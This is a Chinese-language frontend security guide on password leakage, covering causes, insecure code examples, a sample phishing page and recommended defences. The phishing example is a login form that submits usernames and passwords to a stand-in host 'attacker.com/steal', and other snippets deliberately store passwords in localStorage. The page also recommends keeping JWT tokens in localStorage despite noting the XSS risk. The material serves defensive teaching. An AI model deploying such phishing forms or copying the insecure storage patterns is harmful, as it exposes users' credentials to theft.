密码泄露

威胁描述

密码泄露是指用户的密码被未授权方获取的安全事件。在前端环境中，密码泄露通常发生在密码传输过程中未加密、密码存储不安全、或通过钓鱼攻击、键盘记录器等方式获取。密码泄露可能导致未授权访问用户账户、身份盗窃和数据泄露等严重后果。

常见原因

密码在传输过程中未加密（明文传输）
密码在客户端存储不安全（如localStorage、Cookie）
钓鱼攻击诱导用户输入密码
恶意软件（如键盘记录器）窃取密码
不安全的密码恢复流程
密码重用导致的多平台风险

示例场景

1. 明文密码传输

// 不安全的代码：明文发送密码
fetch('https://example.com/login', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'username=' + username + '&password=' + password
});

2. 密码存储在localStorage

// 不安全的代码：将密码存储在localStorage
localStorage.setItem('password', password);

// 后续使用
const savedPassword = localStorage.getItem('password');

3. 钓鱼攻击页面

<!-- 钓鱼网站模仿真实网站 -->
<!DOCTYPE html>
<html>
<head>
    <title>安全登录</title>
    <style>/* 模仿真实网站的样式 */</style>
</head>
<body>
    <form action="https://attacker.com/steal" method="POST">
        <div>
            <label>用户名:</label>
            <input type="text" name="username">
        </div>
        <div>
            <label>密码:</label>
            <input type="password" name="password">
        </div>
        <button type="submit">登录</button>
    </form>
</body>
</html>

防御措施

1. 加密传输

使用HTTPS加密所有传输数据，特别是包含密码的登录请求：

// 使用HTTPS传输
fetch('https://example.com/login', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        username: username,
        password: password
    })
});

2. 安全存储

不要在客户端存储密码。如果需要记住用户，可以使用安全的令牌：

// 安全的做法：存储令牌而非密码
fetch('https://example.com/login', {
    method: 'POST',
    // ...
}).then(response => response.json())
.then(data => {
    // 存储JWT令牌
    localStorage.setItem('token', data.token);
});

3. 密码强度要求

实施密码强度要求，包括长度、复杂度等：

// 密码强度验证函数
function validatePassword(password) {
    // 至少8位，包含大小写字母、数字和特殊字符
    const passwordRegex = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/;
    return passwordRegex.test(password);
}

4. 防止钓鱼攻击

教育用户识别钓鱼网站（检查URL、查看SSL证书）
实现双因素认证
使用网站图标（Favicon）增强品牌识别

5. 安全的密码恢复流程

使用临时一次性密码
通过多种渠道验证身份（邮箱+短信）
密码重置链接设置过期时间

最佳实践

始终使用HTTPS加密传输密码
- HTTPS通过TLS/SSL协议加密传输数据，防止中间人攻击和数据窃听。
- 确保网站使用有效的SSL证书，避免使用自签名证书或过期证书。
- 配置HTTP严格传输安全(HSTS)头部，强制浏览器使用HTTPS连接。
- 示例：设置HSTS头部：Strict-Transport-Security: max-age=31536000; includeSubDomains。
不在客户端存储密码，使用安全的令牌机制
- 客户端存储（如localStorage、Cookie）容易被XSS攻击窃取，不应存储密码。
- 使用令牌（如JWT、OAuth令牌）进行身份验证，令牌应设置适当的过期时间。
- 对于长时间登录需求，使用刷新令牌机制，而非持久化存储密码。
- 示例：登录成功后，服务端返回JWT令牌，客户端存储令牌用于后续请求：localStorage.setItem('token', data.token)。
实施强密码策略，并提供密码强度反馈
- 强密码策略可以显著提高密码的安全性，减少被暴力破解的风险。
- 密码要求应包括：长度（至少8位）、复杂度（包含大小写字母、数字和特殊字符）、避免常见密码。
- 提供实时密码强度反馈，帮助用户创建安全密码。
- 示例：使用正则表达式验证密码强度：/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/。
实现双因素认证，提供额外的安全层
- 双因素认证要求用户提供两种不同的认证因素（如密码+短信验证码、密码+生物识别），即使密码泄露，攻击者也无法登录。
- 支持多种双因素认证方式，如短信验证码、认证应用（Google Authenticator）、硬件令牌等。
- 对于高风险操作（如资金转账、密码修改），强制要求双因素认证。
- 示例：使用Google Authenticator生成一次性验证码：用户扫描二维码后，应用生成每隔30秒变化的验证码。
教育用户关于钓鱼攻击的风险和识别方法
- 钓鱼攻击是获取密码的主要手段之一，用户教育可以有效减少此类攻击的成功率。
- 教育内容包括：检查URL是否正确、查看网站SSL证书、警惕可疑邮件和短信、不随意点击链接等。
- 提供安全提示，如登录页面应有品牌标识、URL应为官方域名等。
- 示例：在登录页面添加安全提示：“请确认网址为https://example.com，警惕钓鱼网站”。
定期进行安全审计，检查是否存在密码泄露风险
- 安全审计可以发现潜在的密码泄露风险，及时采取措施修复。
- 审计内容包括：代码审查（查找硬编码密码、不安全存储方式）、渗透测试（尝试获取密码）、日志分析（检测异常登录）。
- 使用自动化工具（如OWASP ZAP、Burp Suite）进行定期扫描。
- 示例：使用工具扫描代码库中的硬编码密码：grep -r "password=" *.js。
遵循最小权限原则，限制密码的使用范围
- 最小权限原则确保用户和系统只拥有完成任务所需的最小权限，减少密码泄露的影响范围。
- 为不同用户分配不同权限，避免使用超级管理员账户进行日常操作。
- 限制密码的使用场景，如某些系统功能可能需要单独的授权码。
- 示例：管理员账户仅用于系统配置，日常操作使用普通用户账户。
考虑使用无密码认证方式，如生物识别、硬件令牌等
- 无密码认证消除了密码泄露的风险，提供更便捷、更安全的认证体验。
- 支持多种无密码认证方式，如指纹识别、面部识别、硬件安全密钥（如YubiKey）。
- 遵循行业标准（如FIDO2、WebAuthn），确保无密码认证的安全性和互操作性。
- 示例：使用WebAuthn实现指纹识别登录：navigator.credentials.create({ publicKey: publicKeyOptions })。

威胁描述​

常见原因​

示例场景​

1. 明文密码传输​

2. 密码存储在localStorage​

3. 钓鱼攻击页面​

防御措施​

1. 加密传输​

2. 安全存储​

3. 密码强度要求​

4. 防止钓鱼攻击​

5. 安全的密码恢复流程​

最佳实践​

威胁描述

常见原因

示例场景

1. 明文密码传输

2. 密码存储在localStorage

3. 钓鱼攻击页面

防御措施

1. 加密传输

2. 安全存储

3. 密码强度要求

4. 防止钓鱼攻击

5. 安全的密码恢复流程

最佳实践